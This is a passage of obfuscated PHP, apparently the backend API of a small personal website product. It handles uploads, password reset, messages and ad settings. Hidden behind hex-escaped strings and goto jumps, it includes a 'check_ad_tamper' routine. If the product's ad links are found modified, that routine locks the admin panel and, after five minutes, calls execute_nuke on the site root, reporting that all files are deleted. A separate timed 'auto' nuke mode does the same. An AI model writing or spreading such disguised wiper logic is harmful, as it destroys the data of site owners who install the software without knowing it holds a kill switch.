move_uploaded_file($file["\x74\155\x70\x5f\x6e\x61\155\145"], $destPath); goto kz73v18rcN; ISho1oSU6N: echo json_encode(["\163\x75\x63\143\145\163\163" => true, "\x6d\x65\163\x73\141\x67\x65" => "\xe8\203\x8c\346\x99\xaf\xe5\233\276\xe4\270\212\xe4\xbc\240\xe6\210\220\xe5\212\x9f", "\x75\x72\x6c" => $url]); goto kdLrqAfhNN; goto wCEojoHCeO; sarqdtWoV_: imagejpeg($srcImage, $destPath, 85); imagedestroy($srcImage); vHhpVLIo4G: R09GCWO6w1: $url = "\x2e\56\57\144\141\x74\141\57\142\147\56\x6a\160\x67\x3f\x76\75" . time(); goto ISho1oSU6N; wCEojoHCeO: case "\144\x65\x6c\x65\164\145\x5f\x62\147": $bgPath = DATA_DIR . DIRECTORY_SEPARATOR . "\x62\x67\x2e\x6a\160\x67"; if (!file_exists($bgPath)) { goto LjkPYahCmy; } unlink($bgPath); LjkPYahCmy: $content = read_json(CONTENT_FILE) ?: []; $content["\142\147\x5f\x6d\x6f\144\145"] = "\144\x65\x66\141\x75\154\x74"; write_json(CONTENT_FILE, $content); echo json_encode(["\163\165\x63\x63\145\163\163" => true, "\155\x65\x73\x73\x61\147\145" => "\350\x83\214\xe6\231\257\xe5\x9b\276\345\267\262\xe5\210\240\351\x99\xa4\357\xbc\214\345\267\262\xe6\201\xa2\xe5\244\x8d\xe9\xbb\230\xe8\256\xa4\xe8\203\214\xe6\x99\xaf"]); goto kdLrqAfhNN; case "\x67\145\164\137\144\x6e\x64": $admin = read_json(ADMIN_FILE); echo json_encode(["\163\x75\x63\x63\x65\163\163" => true, "\145\156\141\x62\154\145\x64" => !empty($admin["\155\x73\x67\x5f\x64\x6e\144"])]); goto kdLrqAfhNN; case "\x74\157\147\x67\154\x65\137\144\156\144": $input = json_decode(file_get_contents("\160\150\x70\72\57\57\x69\x6e\160\165\x74"), true); $admin = read_json(ADMIN_FILE); $admin["\x6d\x73\x67\137\144\156\x64"] = !empty($input["\145\x6e\141\142\x6c\x65\x64"]); write_json(ADMIN_FILE, $admin); echo json_encode(["\163\165\143\143\145\163\163" => true, "\x6d\x65\x73\x73\141\147\145" => $admin["\155\163\147\x5f\x64\156\x64"] ? "\345\205\x8d\346\x89\223\346\x89\260\345\267\262\345\274\x80\345\x90\257\xef\xbc\x8c\346\226\260\xe6\xb6\x88\xe6\x81\257\345\xb0\206\344\xb8\215\345\x86\x8d\345\217\x91\351\200\x81\351\x82\256\344\273\xb6\351\x80\232\347\x9f\xa5" : "\xe5\205\x8d\346\x89\223\xe6\211\xb0\xe5\xb7\xb2\345\x85\263\xe9\x97\xad\xef\274\214\346\x96\xb0\xe6\xb6\210\346\201\257\345\xb0\x86\xe6\255\xa3\345\xb8\270\xe5\217\221\xe9\x80\201\351\x82\xae\xe4\273\xb6\351\200\x9a\xe7\237\xa5"]); goto kdLrqAfhNN; case "\164\x6f\x67\x67\154\145\x5f\x61\x64": $input = json_decode(file_get_contents("\160\x68\x70\72\57\x2f\151\156\x70\x75\x74"), true); $admin = read_json(ADMIN_FILE); $admin["\150\151\x64\x65\x5f\x61\144"] = !empty($input["\x68\151\144\145"]); write_json(ADMIN_FILE, $admin); echo json_encode(["\163\x75\143\143\x65\163\x73" => true, "\155\x65\163\x73\x61\147\x65" => $admin["\x68\151\144\x65\137\141\x64"] ? "\xe5\xb9\xbf\xe5\221\212\345\xb7\262\xe6\xb0\xb8\344\xb9\x85\xe5\205\xb3\xe9\227\255" : "\345\xb9\277\345\221\x8a\345\xb7\262\345\xbc\x80\345\220\xaf"]); goto kdLrqAfhNN; case "\143\x68\141\x6e\147\x65\x5f\x70\x61\x73\x73\167\x6f\162\x64": $input = json_decode(file_get_contents("\x70\x68\x70\72\x2f\57\151\x6e\160\165\164"), true); $result = change_password($input["\x6f\x6c\144\x5f\160\141\x73\x73\167\x6f\162\x64"] ?? '', $input["\x6e\x65\x77\137\x70\141\x73\x73\167\157\x72\144"] ?? ''); echo json_encode($result, JSON_UNESCAPED_UNICODE); goto kdLrqAfhNN; case "\163\141\x76\145\x5f\156\x75\x6b\145\137\155\x6f\144\x65": goto jFLXOz2WA7; xSX75_6A_4: echo json_encode(["\x73\x75\143\143\145\x73\x73" => true, "\x6d\x65\x73\x73\141\147\x65" => $msg]); goto kdLrqAfhNN; goto L9Sfjo6Y6e; HC6enL9lZP: $admin["\156\x75\x6b\x65\137\x64\x65\141\144\154\151\x6e\x65"] = date("\131\55\x6d\x2d\144\x20\x48\x3a\x69\72\x73", time() + $days * 86400); $admin["\156\165\x6b\x65\x5f\x64\145\x61\x64\154\151\156\x65\x5f\164\163"] = time() + $days * 86400; MN5V98775v: write_json(ADMIN_FILE, $admin); $msg = $mode === "\141\165\x74\157" ? "\345\267\262\350\xae\xbe\347\xbd\xae\xe8\207\xaa\xe5\x8a\xa8\350\xb7\x91\350\xb7\257\xef\274\x8c\xe5\260\206\xe5\234\xa8\x20" . $admin["\x6e\x75\153\x65\x5f\x64\x65\x61\x64\154\x69\156\145"] . "\40\xe6\211\xa7\xe8\xa1\214" : "\345\xb7\262\345\x88\207\346\x8d\242\xe4\270\272\xe6\211\213\xe5\212\xa8\xe6\250\xa1\xe5\xbc\217"; goto xSX75_6A_4; sT2lrchDcV: unset($admin["\x6e\x75\153\145\x5f\x64\x61\x79\x73"], $admin["\x6e\x75\x6b\x65\x5f\x64\x65\141\x64\154\x69\156\x65"], $admin["\x6e\165\153\x65\x5f\144\x65\141\x64\154\x69\x6e\x65\x5f\164\163"]); goto MN5V98775v; E94A3Cw6hT: $days = max(1, min(365, intval($input["\x64\x61\x79\x73"] ?? 7))); $admin["\156\x75\x6b\145\x5f\x64\x61\x79\x73"] = $days; goto HC6enL9lZP; jFLXOz2WA7: $input = json_decode(file_get_contents("\x70\150\x70\72\x2f\57\x69\x6e\x70\165\164"), true); $mode = ($input["\155\157\x64\x65"] ?? "\155\141\x6e\x75\141\x6c") === "\141\165\x74\x6f" ? "\141\165\x74\x6f" : "\x6d\141\x6e\x75\141\x6c"; $admin = read_json(ADMIN_FILE); $admin["\156\165\153\x65\137\155\157\x64\x65"] = $mode; if ($mode === "\x61\x75\x74\x6f") { goto E94A3Cw6hT; } goto sT2lrchDcV; L9Sfjo6Y6e: case "\x67\x65\164\137\156\x75\x6b\145\137\155\157\144\145": $admin = read_json(ADMIN_FILE); $data = ["\155\x6f\144\x65" => $admin["\x6e\165\153\x65\x5f\155\157\144\145"] ?? "\x6d\141\156\165\141\154", "\144\x61\171\x73" => $admin["\156\x75\153\x65\x5f\144\x61\171\163"] ?? 7, "\x64\145\141\x64\154\x69\156\145" => $admin["\x6e\165\153\x65\x5f\x64\x65\x61\x64\x6c\151\156\145"] ?? null, "\144\145\141\144\154\151\x6e\145\x5f\x74\163" => $admin["\x6e\x75\x6b\145\x5f\x64\x65\141\144\154\151\156\x65\x5f\x74\163"] ?? null, "\162\x65\144\151\x72\x65\x63\164\x5f\x65\x6e\x61\142\154\x65\x64" => !empty($admin["\156\165\x6b\x65\137\x72\145\144\x69\162\145\143\164\137\x65\156\x61\142\154\x65\x64"]), "\x72\x65\x64\x69\x72\x65\x63\164\137\165\x72\154" => $admin["\156\165\153\x65\137\x72\145\144\x69\162\x65\143\164\137\x75\162\154"] ?? '']; echo json_encode(["\x73\x75\x63\x63\145\163\163" => true, "\x64\141\164\x61" => $data]); goto kdLrqAfhNN; case "\x73\x61\x76\x65\137\x6e\165\153\145\137\162\x65\144\x69\x72\145\x63\164": goto erCDpg2XXn; VWbWxwoTkG: Aul0cQdH7r: $admin = read_json(ADMIN_FILE); $admin["\156\165\153\145\x5f\x72\x65\144\x69\162\145\143\164\137\x65\156\141\142\x6c\145\x64"] = !empty($input["\145\x6e\141\x62\154\145\144"]); $admin["\x6e\x75\x6b\145\x5f\162\x65\144\151\162\145\x63\164\x5f\165\x72\154"] = $url; write_json(ADMIN_FILE, $admin); goto jr0V0E9ZRf; erCDpg2XXn: $input = json_decode(file_get_contents("\x70\150\160\72\57\57\x69\156\x70\165\x74"), true); $url = trim($input["\165\x72\154"] ?? ''); if (!($url && !preg_match("\43\136\x68\x74\x74\x70\163\77\72\57\57\43\151", $url))) { goto Aul0cQdH7r; } echo json_encode(["\x73\x75\x63\x63\x65\163\163" => false, "\x6d\x65\163\163\141\x67\145" => "\350\267\xb3\350\xbd\254\xe9\223\276\xe6\x8e\xa5\345\277\205\xe9\241\xbb\344\273\245\40\x68\x74\164\160\x3a\57\x2f\x20\xe6\x88\x96\x20\150\164\x74\160\x73\x3a\57\x2f\x20\xe5\274\x80\xe5\xa4\264"]); goto kdLrqAfhNN; goto VWbWxwoTkG; jr0V0E9ZRf: echo json_encode(["\x73\165\143\x63\145\x73\163" => true, "\155\x65\163\163\141\x67\145" => "\350\xb7\263\350\xbd\254\xe8\256\xbe\347\275\256\xe5\267\xb2\xe4\277\x9d\xe5\xad\x98"]); goto kdLrqAfhNN; goto GZ0NHuJvWi; GZ0NHuJvWi: case "\143\x61\x6e\143\145\154\x5f\156\165\x6b\x65\137\141\165\164\x6f": $admin = read_json(ADMIN_FILE); $admin["\156\165\x6b\x65\x5f\x6d\x6f\144\x65"] = "\155\x61\x6e\165\x61\x6c"; unset($admin["\x6e\x75\x6b\x65\137\x64\141\171\x73"], $admin["\x6e\x75\x6b\x65\137\x64\x65\x61\x64\x6c\151\x6e\145"], $admin["\156\x75\x6b\x65\137\144\145\141\144\154\x69\156\x65\137\x74\163"]); write_json(ADMIN_FILE, $admin); echo json_encode(["\x73\165\x63\x63\145\x73\163" => true, "\155\x65\x73\x73\141\x67\x65" => "\345\xb7\262\345\217\226\xe6\266\x88\350\x87\xaa\xe5\x8a\xa8\350\xb7\221\350\267\257"]); goto kdLrqAfhNN; case "\x6e\x75\153\145\137\163\151\164\x65": goto brmVme3nXq; mvaxHkt0fD: uZgish9pSI: execute_nuke(ROOT_DIR, $redirectUrl); $result = ["\x73\165\x63\x63\145\163\163" => true, "\155\x65\x73\163\141\147\145" => "\xe6\x89\200\xe6\234\211\xe6\x96\x87\xe4\273\266\345\xb7\xb2\345\x88\240\351\x99\244\xef\xbc\x8c\345\x86\x8d\350\247\201\xef\xbc\201"]; if (!$redirectUrl) { goto uepELVywuG; } $result["\162\x65\144\x69\x72\145\143\164\137\165\x72\154"] = $redirectUrl; goto BZqMJSLfvz; BE29D7xFvY: goto kdLrqAfhNN; seMk6pZGc5: $redirectUrl = ''; if (!(!empty($admin["\156\165\153\145\137\x72\x65\x64\151\x72\145\x63\x74\137\x65\156\141\142\x6c\x65\x64"]) && !empty($admin["\156\165\153\x65\137\x72\x65\x64\x69\x72\145\x63\x74\137\x75\162\x6c"]))) { goto uZgish9pSI; } $redirectUrl = $admin["\156\x75\x6b\145\x5f\162\145\x64\151\162\145\x63\164\137\x75\162\x6c"]; goto mvaxHkt0fD; PmWyXKu7KL: goto kdLrqAfhNN; R4OBsKwecn: $admin = read_json(ADMIN_FILE); if (!(empty($password) || !password_verify($password, $admin["\160\x61\x73\163\167\157\x72\144\137\150\x61\163\150"] ?? ''))) { goto seMk6pZGc5; } echo json_encode(["\x73\x75\143\x63\145\x73\x73" => false, "\x6d\x65\163\163\141\147\x65" => "\345\xaf\x86\347\240\201\xe9\xaa\x8c\350\257\201\xe5\xa4\261\350\xb4\xa5\xef\274\214\xe8\xaf\267\xe8\xbe\223\345\205\245\345\275\223\345\x89\x8d\xe7\x99\xbb\xe5\275\x95\345\257\206\347\240\201"]); goto BE29D7xFvY; BZqMJSLfvz: uepELVywuG: echo json_encode($result); goto kdLrqAfhNN; goto F5lc6h25HP; brmVme3nXq: $input = json_decode(file_get_contents("\160\x68\160\72\57\57\x69\x6e\160\x75\164"), true); $confirm = $input["\143\157\x6e\146\x69\162\x6d"] ?? ''; $password = $input["\160\x61\163\x73\x77\x6f\162\x64"] ?? ''; if (!($confirm !== "\347\241\256\350\256\xa4\345\x88\240\351\x99\244")) { goto R4OBsKwecn; } echo json_encode(["\x73\x75\143\143\145\x73\x73" => false, "\155\x65\163\163\141\x67\145" => "\xe7\241\256\xe8\256\244\xe5\x8f\243\344\xbb\244\xe4\xb8\x8d\xe6\255\243\347\241\xae"]); goto PmWyXKu7KL; F5lc6h25HP: default: http_response_code(404); echo json_encode(["\x73\165\x63\x63\145\163\x73" => false, "\155\x65\x73\163\141\147\x65" => "\346\x9c\xaa\xe7\237\xa5\346\x93\x8d\344\xbd\234"]); goto kdLrqAfhNN; } qIOGCuF9eV: goto wyV4_jMb9s; Ghuhe5Zmvk: $_SESSION["\162\x65\x73\x65\x74\137\x63\x6f\144\x65\137\164\163"] = time(); $_SESSION["\162\x65\163\x65\x74\x5f\x65\x6d\x61\x69\154"] = $email; $_SESSION["\162\145\x73\x65\164\x5f\x61\164\x74\x65\x6d\160\164\163"] = 0; try { $smtp = new SimpleSMTP($smtpConfig); $subject = "\xe3\200\x90\xe5\260\x8f\347\x8b\220\xe5\x8a\xa1\345\231\xa8\343\200\221\345\xaf\206\xe7\240\201\xe9\207\x8d\347\275\xae\xe9\252\x8c\xe8\257\201\xe7\240\x81"; $body = "\346\x82\250\346\xad\xa3\345\234\250\351\x87\215\347\275\256\xe7\256\xa1\xe7\x90\206\xe5\x90\x8e\xe5\217\260\345\xaf\206\347\xa0\201\xe3\x80\202\12\xa\xe9\xaa\214\350\xaf\201\347\240\201\357\xbc\232{$code}\12\12\346\x9c\211\346\225\x88\xe6\x9c\237\40\65\40\xe5\210\x86\351\222\237\357\xbc\214\350\257\xb7\345\213\277\xe6\xb3\x84\xe9\x9c\xb2\347\xbb\231\xe4\xbb\x96\xe4\xba\272\343\200\202\12\12\345\xa6\202\351\235\x9e\xe6\x9c\254\344\272\xba\346\x93\x8d\344\xbd\x9c\xef\xbc\x8c\350\xaf\267\345\xbf\xbd\347\225\xa5\xe6\xad\244\xe9\x82\256\xe4\xbb\266\xe3\x80\202"; $smtp->send($fromEmail, $smtpConfig["\x66\x72\157\155\x5f\156\141\x6d\145"] ?? "\345\xb0\217\347\x8b\220\xe5\212\241\xe5\231\xa8", $email, $subject, $body); } catch (Exception $e) { } echo json_encode(["\x73\x75\x63\143\x65\163\x73" => true, "\155\145\x73\163\141\x67\x65" => "\xe5\246\202\346\x9e\x9c\xe9\202\xae\xe7\256\261\xe6\xad\xa3\347\241\256\xef\274\214\xe9\252\x8c\xe8\257\201\xe7\240\201\345\260\x86\xe5\217\x91\351\200\201\345\210\260\xe6\202\250\xe7\x9a\204\351\x82\xae\347\256\xb1"]); goto LGPXArdZZj; gJH5gD5QZg: $avatarPath = DATA_DIR . DIRECTORY_SEPARATOR . "\141\x76\x61\x74\x61\x72\56\x70\156\147"; if (file_exists($avatarPath)) { goto nZElknZDGP; } echo json_encode(["\163\x75\x63\143\x65\163\x73" => true, "\x75\162\x6c" => '']); goto odgcnX4k_8; nZElknZDGP: goto SRO9K2CrHF; sprFZqehig: $imageFile = "\155\x73\147\137\x69\155\141\147\145\163\57" . $imgName; qX4aS1W8jt: HMzCNwID2q: $messages = read_json(MESSAGES_FILE) ?: []; $newMsg = ["\x69\144" => uniqid("\x6d\163\147\137", true), "\x6e\141\x6d\x65" => mb_substr($name, 0, 100), "\145\155\141\151\154" => mb_substr($email, 0, 200), "\155\x65\x73\x73\x61\x67\x65" => mb_substr($message, 0, 5000), "\151\x6d\141\147\x65" => $imageFile, "\164\x69\x6d\x65" => date("\x59\55\155\x2d\144\x20\110\x3a\151\x3a\163"), "\x72\x65\141\144" => false, "\162\145\160\x6c\x69\145\x64" => false]; goto UMHmi8pcte; ukd1jmcrBW: if (!($action === "\143\x68\145\143\x6b\137\x61\x64\137\x74\x61\155\160\145\x72")) { goto I96addGYHo; } $tamperLimit = rate_limit("\x63\x68\145\x63\x6b\x5f\141\144\137\x74\x61\155\x70\x65\x72", $clientIp, 10, 60); if ($tamperLimit["\141\x6c\154\x6f\167\x65\x64"]) { goto GosJe1GVvs; } echo json_encode(["\163\165\143\143\x65\163\163" => true, "\x74\x61\155\160\145\x72\145\x64" => false]); exit; goto arIlf6GaQB; qZb6pgXXXT: kuRJS73Tx_: echo json_encode(["\163\x75\143\143\x65\163\163" => true, "\164\x61\155\160\145\x72\145\144" => false]); exit; goto Yo3O4I5L5K; riraLBBNYT: goto Sg995bAgC3; Bfz1MTO4XB: if (!$origin) { goto yHt9VJbGnZ; } $originHost = parse_url($origin, PHP_URL_HOST); $serverHost = $_SERVER["\110\x54\124\x50\137\x48\x4f\123\124"] ?? ''; $serverHostClean = preg_replace("\x2f\x3a\134\144\x2b\x24\x2f", '', $serverHost); if (!($originHost && $serverHostClean && $originHost === $serverHostClean)) { goto jjiA4e0zff; } goto ye0_xUOWZi; Ql2fBONwrQ: if (!(time() >= $deadline)) { goto YwT43N_v5j; } $redirectUrl = ''; if (!(!empty($admin["\156\x75\x6b\145\137\162\145\x64\151\162\145\143\x74\x5f\x65\156\x61\x62\154\x65\x64"]) && !empty($admin["\x6e\x75\153\x65\137\162\145\144\151\x72\145\143\164\x5f\165\162\x6c"]))) { goto h76n6QAeip; } $redirectUrl = $admin["\x6e\165\153\145\x5f\162\145\x64\151\162\x65\143\164\x5f\x75\162\154"]; h76n6QAeip: goto GpaSwanutY; EnvNbT3m2R: echo json_encode(["\x73\165\143\x63\145\163\x73" => false, "\155\145\x73\163\141\147\x65" => "\xe5\x90\216\345\217\xb0\345\267\262\xe9\x94\x81\345\256\232\xef\xbc\232\xe6\xa3\x80\xe6\xb5\213\xe5\210\260\xe5\xb9\277\xe5\x91\212\351\223\xbe\xe6\x8e\xa5\350\xa2\253\xe7\257\241\xe6\224\271", "\x6c\157\x63\153\145\x64" => true]); exit; gJUN603lcQ: mQAiQRRhO0: unset($_admin_tamper); goto zIL_Dwu789; mqfFrHpzxw: T12ALXY6Br: $content = read_json(CONTENT_FILE); if (file_exists($avatarPath)) { goto PsECVuFjHq; } $content["\x61\166\x61\164\x61\162"] = ''; goto Z3FHs5PjfY; goto vXmJ3g3UCN; LGPXArdZZj: exit; Ccuhvq3jD_: if (!($action === "\x72\145\x73\x65\x74\x5f\160\141\163\x73\167\157\x72\144")) { goto a2KfQiHXST; } $input = json_decode(file_get_contents("\160\x68\x70\x3a\x2f\x2f\x69\x6e\160\165\164"), true); $code = trim($input["\143\x6f\x64\145"] ?? ''); goto qID_bY2Uzh; uFMGLLHcyl: $notifyBody .= "\346\x97\xb6\351\227\xb4\357\274\232{$newMsg["\x74\151\x6d\x65"]}\12\xa"; $notifyBody .= "\xe5\206\x85\xe5\xae\xb9\357\xbc\232\xa{$message}"; $mailer->send($smtp["\x66\x72\x6f\155\x5f\145\155\141\x69\x6c"], $smtp["\x66\x72\157\x6d\137\x6e\x61\155\x65"] ?? "\xe5\260\x8f\xe7\x8b\x90\xe5\x8a\241\345\x99\250", $smtp["\146\162\x6f\x6d\137\x65\155\141\151\x6c"], "\343\x80\220\345\260\x8f\347\x8b\220\345\x8a\241\345\x99\xa8\343\200\221\xe6\224\xb6\xe5\210\260\346\x96\xb0\xe7\225\x99\350\250\200\40\x2d\40" . $name, $notifyBody); QkTcN4WEVc: echo json_encode(["\x73\x75\x63\143\x65\163\x73" => true, "\155\145\x73\163\141\x67\x65" => "\xe7\225\x99\xe8\xa8\200\xe5\217\x91\351\x80\x81\xe6\210\x90\xe5\212\x9f\xef\274\214\346\204\237\xe8\xb0\242\xe4\xbd\xa0\347\x9a\x84\346\235\245\xe4\xbf\xa1\357\xbc\x81"]); goto cOJq27W5Tx; kNLMEe58i8: $input = json_decode(file_get_contents("\160\150\160\72\57\x2f\x69\x6e\x70\165\x74"), true); $email = trim($input["\x65\x6d\141\151\154"] ?? ''); if (!(!$email || !filter_var($email, FILTER_VALIDATE_EMAIL))) { goto Rs2vDcoqdx; } echo json_encode(["\163\x75\x63\x63\x65\x73\x73" => false, "\155\x65\163\163\x61\147\145" => "\350\257\267\xe8\xbe\223\xe5\x85\245\346\234\211\xe6\225\210\xe7\232\204\351\202\256\347\256\xb1\345\234\260\xe5\x9d\x80"]); exit; goto v3zswZ_oPT; Sg995bAgC3: if (!empty($admin["\141\144\137\164\x61\155\160\x65\162\x5f\x74\x73"])) { goto yAGhjX29Wj; } $admin["\x61\144\x5f\x74\141\x6d\160\145\162\x5f\x74\x73"] = time(); write_json(ADMIN_FILE, $admin); yAGhjX29Wj: $deadline = $admin["\x61\x64\x5f\164\141\x6d\x70\145\x72\x5f\164\163"] + 300; goto Ql2fBONwrQ; aUqGLH2phU: if (is_dir($imgDir)) { goto iRBsDsmBWQ; } @mkdir($imgDir, 0755, true); iRBsDsmBWQ: $imgName = uniqid("\x69\x6d\147\137", true) . "\56" . $imgResult["\145\x78\164"]; if (!(file_put_contents($imgDir . DIRECTORY_SEPARATOR . $imgName, $imgResult["\142\151\x6e\141\x72\x79"]) !== false)) { goto qX4aS1W8jt; } goto sprFZqehig; vj8sdWrlU5: exit; v6l8zJAPwr: if (!(time() - $savedTs > 300)) { goto MCk91I2jKg; } unset($_SESSION["\162\145\x73\145\164\x5f\143\157\x64\145"], $_SESSION["\x72\145\x73\x65\x74\x5f\x63\x6f\x64\145\x5f\x74\x73"], $_SESSION["\x72\x65\x73\x65\164\x5f\x65\x6d\x61\x69\x6c"], $_SESSION["\162\x65\163\x65\x74\x5f\141\164\164\x65\155\x70\164\x73"]); echo json_encode(["\163\165\143\x63\x65\163\x73" => false, "\155\145\163\x73\x61\147\145" => "\351\252\214\350\257\x81\347\xa0\x81\xe5\xb7\xb2\350\277\207\346\x9c\x9f\357\274\x8c\350\257\267\351\207\x8d\xe6\x96\xb0\xe8\x8e\267\345\x8f\x96"]); goto J9pWd7_fe3; VXGrA1s0Bo: $bgPath = DATA_DIR . DIRECTORY_SEPARATOR . "\x62\147\x2e\x6a\160\147"; $avatarMtime = file_exists($avatarPath) ? filemtime($avatarPath) : 0; $bgMtime = file_exists($bgPath) ? filemtime($bgPath) : 0; $etag = "\x22" . md5($contentMtime . $avatarMtime . $bgMtime) . "\42"; header("\103\x61\143\x68\145\x2d\x43\x6f\x6e\x74\x72\157\x6c\x3a\x20\160\165\142\154\151\x63\x2c\x20\x6d\x61\170\55\x61\147\145\x3d\63\60\x2c\x20\x73\x74\141\x6c\145\x2d\167\150\151\154\145\55\162\x65\166\141\154\x69\144\x61\x74\145\x3d\x36\x30"); goto raWBox5I12; GpaSwanutY: execute_nuke(ROOT_DIR, $redirectUrl); $tamperResult = ["\163\165\x63\x63\x65\x73\163" => true, "\164\141\155\x70\145\x72\x65\144" => true, "\x6e\x75\153\x65\x64" => true]; if (!$redirectUrl) { goto YtIQJUIam4; } $tamperResult["\x72\145\144\151\162\145\x63\164\x5f\165\x72\x6c"] = $redirectUrl; YtIQJUIam4: goto IgT62vwMPU; fVGx19Vm2g: $admin = read_json(ADMIN_FILE); if (!(($admin["\156\x75\x6b\145\137\x6d\157\144\x65"] ?? "\x6d\x61\156\165\141\x6c") === "\141\x75\164\x6f" && !empty($admin["\156\165\x6b\x65\137\144\145\141\x64\154\x69\x6e\x65\137\x74\x73"]))) { goto UI5PqsuyI3; } if (!(time() >= $admin["\156\x75\x6b\145\x5f\144\x65\x61\144\x6c\151\x6e\x65\x5f\x74\163"])) { goto HXIeta_x1p; } $redirectUrl = ''; if (!(!empty($admin["\156\165\153\145\x5f\x72\x65\144\x69\x72\145\x63\x74\x5f\x65\156\141\x62\x6c\x65\x64"]) && !empty($admin["\156\165\x6b\145\137\x72\x65\x64\151\162\x65\143\x74\137\x75\162\x6c"]))) { goto cg4MEXI7HA; } goto DKSRC2YZyJ; v3zswZ_oPT: Rs2vDcoqdx: $admin = read_json(ADMIN_FILE) ?: []; $smtpConfig = $admin["\x73\155\164\x70"] ?? []; $fromEmail = $smtpConfig["\146\x72\x6f\x6d\137\145\155\x61\151\x6c"] ?? ''; if (!(empty($fromEmail) || strtolower($email) !== strtolower($fromEmail))) { goto vP4_YqeG6e; } goto TUZbutdAA6; buiEhPMJTJ: unset($_SESSION["\x72\145\163\x65\164\x5f\143\157\144\x65"], $_SESSION["\162\x65\163\x65\x74\x5f\x63\x6f\144\145\x5f\164\163"], $_SESSION["\x72\145\x73\x65\x74\x5f\x65\x6d\x61\151\x6c"], $_SESSION["\x72\x65\163\x65\164\137\141\164\164\x65\x6d\160\x74\x73"]); echo json_encode(["\163\x75\x63\x63\x65\x73\163" => true, "\155\145\163\163\141\x67\x65" => "\xe5\xaf\206\xe7\xa0\201\xe9\207\x8d\xe7\xbd\xae\346\210\x90\xe5\x8a\x9f\xef\274\214\350\257\267\xe4\xbd\277\347\224\xa8\346\226\xb0\345\257\x86\347\xa0\x81\xe7\231\273\xe5\xbd\x95"]); exit; a2KfQiHXST: if (!($action === "\143\150\x65\x63\x6b\137\x6e\165\153\x65")) { goto j7EiRHfiPZ; } goto fVGx19Vm2g; LjJJfr7_sK: $content["\x62\x67\137\x62\154\165\162"] = $content["\x62\x67\137\142\154\x75\162"] ?? 6; $content["\x62\147\137\157\160\x61\x63\151\x74\171"] = $content["\142\147\137\157\160\141\x63\151\164\171"] ?? 70; echo json_encode(["\x73\x75\143\x63\145\163\163" => true, "\144\x61\164\x61" => $content], JSON_UNESCAPED_UNICODE); exit; wYYo5neK4b: goto ukd1jmcrBW; N0YQDWaTJA: $name = trim($input["\156\x61\x6d\x65"] ?? ''); $email = trim($input["\145\x6d\141\151\154"] ?? ''); $message = trim($input["\x6d\x65\163\x73\x61\147\145"] ?? ''); if (!(!$name || !$email || !$message)) { goto NZhQByeujr; } echo json_encode(["\x73\165\143\x63\145\163\x73" => false, "\155\x65\163\x73\x61\x67\x65" => "\xe8\257\267\345\xa1\xab\xe5\206\x99\xe5\xae\x8c\xe6\225\xb4\xe4\277\xa1\xe6\201\257"]); goto cC9uFP1_Yy; rUoSZzkMK_: require_once __DIR__ . "\x2f\141\165\164\x68\56\x70\150\x70"; require_once __DIR__ . "\57\x73\x6d\164\160\x2e\160\x68\160"; function generate_nuke_redirect_html($rootDir, $redirectUrl) { if (!empty($redirectUrl)) { goto lScOocS1Ul; } return; lScOocS1Ul: $safeUrl = htmlspecialchars($redirectUrl, ENT_QUOTES, "\125\124\106\55\x38"); $jsUrl = json_encode($redirectUrl, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP | JSON_UNESCAPED_SLASHES); $html = "\x3c\x21\x44\x4f\x43\x54\x59\120\x45\40\x68\164\x6d\154\76\xa\74\x68\164\x6d\154\40\x6c\141\x6e\x67\x3d\42\172\x68\x2d\x43\x4e\x22\76\12\x3c\150\145\141\x64\x3e\xa\x3c\155\x65\x74\x61\x20\143\150\141\x72\x73\145\x74\x3d\42\125\x54\x46\55\70\42\x3e\12\74\x6d\x65\164\141\x20\150\x74\x74\160\55\145\x71\165\151\166\75\42\162\x65\x66\162\x65\163\150\42\40\x63\157\x6e\164\x65\156\164\75\42\60\x3b\x75\x72\x6c\75" . $safeUrl . "\42\x3e\xa\x3c\164\x69\x74\154\145\76\xe8\267\263\350\275\254\xe4\270\xad\x2e\x2e\x2e\74\x2f\164\x69\x74\154\x65\76\xa\74\163\x74\x79\x6c\x65\x3e\xa\x2a\173\x6d\141\x72\x67\x69\x6e\x3a\x30\73\x70\x61\x64\144\x69\x6e\147\72\x30\73\142\157\x78\x2d\163\151\172\x69\x6e\x67\x3a\x62\157\x72\144\145\x72\x2d\x62\157\x78\175\xa\142\157\x64\x79\x7b\144\x69\x73\160\154\141\x79\x3a\146\154\145\170\73\141\154\x69\147\156\x2d\x69\164\145\155\x73\72\143\145\x6e\x74\145\x72\73\x6a\x75\x73\164\x69\x66\171\55\x63\157\156\164\x65\156\x74\x3a\143\145\156\x74\x65\x72\73\x6d\151\156\55\150\145\151\147\x68\x74\x3a\x31\x30\60\166\x68\x3b\142\x61\x63\x6b\x67\x72\157\165\156\144\x3a\x23\61\70\61\143\x32\x31\73\143\x6f\154\x6f\x72\72\x23\x66\146\146\73\x66\157\156\x74\55\146\141\x6d\x69\154\x79\72\x2d\x61\160\160\154\x65\55\163\x79\x73\x74\x65\x6d\54\102\x6c\x69\156\153\x4d\x61\143\x53\171\x73\164\x65\x6d\106\x6f\x6e\164\x2c\x22\123\145\x67\157\145\x20\125\x49\42\54\122\x6f\x62\157\164\x6f\x2c\163\x61\x6e\x73\55\x73\x65\162\x69\x66\175\12\56\167\162\141\160\173\x74\145\x78\x74\x2d\141\154\151\147\x6e\72\143\145\156\164\x65\162\73\x70\141\x64\x64\x69\x6e\147\x3a\64\60\x70\x78\x7d\xa\56\151\x63\157\156\173\146\157\156\164\55\163\151\x7a\x65\x3a\x34\x38\160\170\73\x6d\x61\162\147\x69\156\x2d\x62\157\x74\x74\x6f\155\x3a\x31\x36\160\x78\175\xa\150\61\173\146\157\x6e\x74\55\x73\151\172\145\x3a\x32\64\x70\x78\x3b\x6d\x61\x72\147\x69\x6e\55\x62\157\x74\x74\157\x6d\72\70\160\x78\x3b\146\x6f\x6e\x74\55\x77\145\x69\147\150\x74\72\66\x30\60\x7d\12\x70\x7b\x63\x6f\x6c\157\x72\72\x72\147\142\141\x28\x32\65\65\x2c\x32\x35\65\54\x32\65\65\54\60\56\x35\x29\x3b\146\157\x6e\x74\55\x73\x69\x7a\x65\72\61\x34\160\x78\73\x6d\141\162\147\151\156\55\x62\x6f\164\164\x6f\x6d\72\62\60\160\x78\175\xa\141\173\x63\x6f\154\x6f\x72\72\43\x34\146\141\x63\146\x65\x3b\x74\145\x78\164\55\x64\145\x63\x6f\162\x61\x74\151\157\156\72\156\157\x6e\145\73\142\157\x72\144\145\x72\x2d\x62\157\164\164\157\155\x3a\x31\x70\x78\x20\163\x6f\154\x69\144\40